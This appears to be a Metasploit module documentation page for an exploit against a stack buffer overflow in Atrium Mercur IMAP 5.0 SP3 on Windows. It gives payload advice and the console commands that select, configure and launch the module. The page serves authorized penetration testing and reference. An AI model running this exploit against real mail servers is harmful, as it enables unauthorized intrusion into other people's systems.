This module exploits a stack buffer overflow in Atrium Mercur IMAP 5.0 SP3. Since the room for shellcode is small, using the reverse ordinal payloads yields the best results.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/imap/mercur_login
msf exploit(mercur_login) > show targets
...targets...
msf exploit(mercur_login) > set TARGET < target-id >
msf exploit(mercur_login) > show options
...show and set options...
msf exploit(mercur_login) > exploit
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